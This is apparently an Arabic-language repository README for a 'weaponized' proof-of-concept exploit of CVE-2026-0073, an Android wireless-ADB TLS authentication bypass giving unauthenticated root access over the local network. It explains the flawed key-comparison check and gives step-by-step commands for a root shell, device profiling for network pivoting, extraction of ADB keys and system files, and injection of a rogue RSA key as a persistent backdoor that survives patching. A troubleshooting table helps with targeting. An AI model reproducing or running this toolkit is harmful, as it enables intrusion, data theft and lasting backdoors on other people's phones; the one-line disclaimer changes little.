
سلاح إثبات مفهوم لـ CVE-2026-0073، وهو تجاوز مصادقة adbd في أندرويد يتيح وصولاً جذريًا عن بُعد بدون نقر عبر ADB اللاسلكي، مع وحدات ما بعد الاستغلال لإنشاء الملفات الشخصية، والاستخراج، والاستمرارية.
إثبات مفهوم مسلّح لثغرة تجاوز مصادقة TLS في ADB اللاسلكي. اكتُشفت بواسطة Barghest، وإثبات المفهوم المسلّح بواسطة devtint.
CVE-2026-0073 هو خلل منطقي حرج في التشفير داخل برنامج جسر تصحيح أندرويد (adbd) يمنح مهاجمًا غير مصادق على نفس الشبكة المحلية وصولًا جذريًا عن بُعد بدون أي نقرة (Zero-Click).
يحتوي هذا المستودع على:
adb_tls_auth_bypass.py — إثبات مفهوم نظيف ومستقل لتجاوز مصادقة STLS/TLS.main.py — إطار استغلال موسّع مع تحديد ملفات تلقائي، واستخراج القطع الأثرية، وحقن الاستمرارية.توجد الثغرة داخل daemon/auth.cpp في دالة adbd_tls_verify_cert(). عندما يتصل عميل عبر ADB اللاسلكي (مسار STLS)، يحدث مصافحة TLS 1.3 متبادلة. يقارن الجهاز المفتاح العام للعميل مع المفاتيح المخزنة المصرح بها باستخدام EVP_PKEY_cmp() من OpenSSL.
// daemon/auth.cpp — المنطق المعرض للثغرة
if (EVP_PKEY_cmp(stored_key, client_key)) {
// EVP_PKEY_cmp تُرجع:
// 1 = المفاتيح متطابقة
// 0 = المفاتيح مختلفة
// -1 = عدم تطابق النوع (RSA مقابل EC) ← خطأ: تُعتبر صحيحة في C++
authorized = true;
}
EVP_PKEY_cmp() تُرجع -1 (عدم تطابق النوع).-1 على أنها true.adbd هذه القيمة -1 على أنها تطابق تام.يعمل هذا الاستغلال فقط على مسار STLS للتصحيح اللاسلكي، وليس على مسار adb tcpip القديم.
| وضع الاتصال | المنفذ |
|---|
192.168.1.34:38741)هذا يعني أنك تتصل بـ منفذ ADB TCP قديم (عادةً 5555). يستخدم المسار القديم مصافحة RSA AUTH القديمة — وهي مسار كود مختلف تمامًا في adbd غير متأثر بهذه الثغرة. يجب عليك الاتصال بمنفذ التصحيح اللاسلكي بدلاً من ذلك.
يوسّع الإطار (main.py) تجاوز TLS الأساسي إلى مجموعة أدوات ما بعد الاستغلال معيارية:
uid=0(root).--profile): يحدد فورًا نظام التشغيل المستهدف، ومستوى تصحيح الأمان، وتطبيق SELinux، وجداول التوجيه النشطة لاختراق الشبكة الداخلية.--extract): يستخرج تلقائيًا ملفات النظام شديدة الحساسية (مثل: /data/misc/adb/adb_keys، /system/build.prop) مباشرة عبر مقبس التجاوز.--persist): يحقن مفتاح RSA عام مارق في ملف المفاتيح المصرح بها للهدف. بمجرد الحقن، يحتفظ المهاجم بوصول دائم ومصادق بالكامل حتى لو تم تصحيح الثغرة لاحقًا.تثبيت التبعيات:
pip install cryptography
تحديد الهدف: ابحث عن جهاز أندرويد مع التصحيح اللاسلكي مفعّلًا على شبكتك المحلية. لاحظ المنفذ الديناميكي من شاشة خيارات المطور بالجهاز.
تنفيذ إطار الاستغلال:
# قشرة تفاعلية (افتراضي)
python main.py <IP> <PORT>
# تنفيذ أمر واحد
python main.py <IP> <PORT> --cmd "id"
# تحديد ملفات النظام تلقائيًا
python main.py <IP> <PORT> --profile
# استخراج القطع الأثرية الخفي
python main.py <IP> <PORT> --extract
# حقن مفتاح باب خلفي دائم
python main.py <IP> <PORT> --persist
إثبات مفهوم مستقل (حد أدنى):
python adb_tls_auth_bypass.py <IP> <PORT> --cmd "id; whoami"
هذا المستودع مخصص حصريًا للأغراض التعليمية، واختبار الاختراق، واختبارات الأمان المصرح بها فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه المعلومات.
| البروتوكول |
|---|
| معرض للثغرة؟ |
|---|
adb tcpip 5555 (قديم) | 5555 (ثابت) | AUTH (تحدي RSA) | ❌ لا |
| التصحيح اللاسلكي (أندرويد 11+) | عشوائي (30000–50000) | STLS → TLS 1.3 | ✅ نعم |
| الخطأ | السبب | الإصلاح |
|---|
Connection refused | المنفذ مغلق / التصحيح اللاسلكي معطّل | فعّل التصحيح اللاسلكي، واستخدم المنفذ الديناميكي الصحيح |
AUTH instead of STLS | الاتصال بمنفذ ADB TCP قديم (5555) | استخدم منفذ التصحيح اللاسلكي، وليس 5555 |
SSLV3_ALERT_CERTIFICATE_UNKNOWN | الجهاز مُصحَّح (مايو 2026+) | الهدف غير معرض للثغرة — الإصلاح يعمل |
timed out | المنفذ مفتوح لكنه لا يستجيب بشكل صحيح | تحقق من المنفذ، وأعد تشغيل التصحيح اللاسلكي على الجهاز |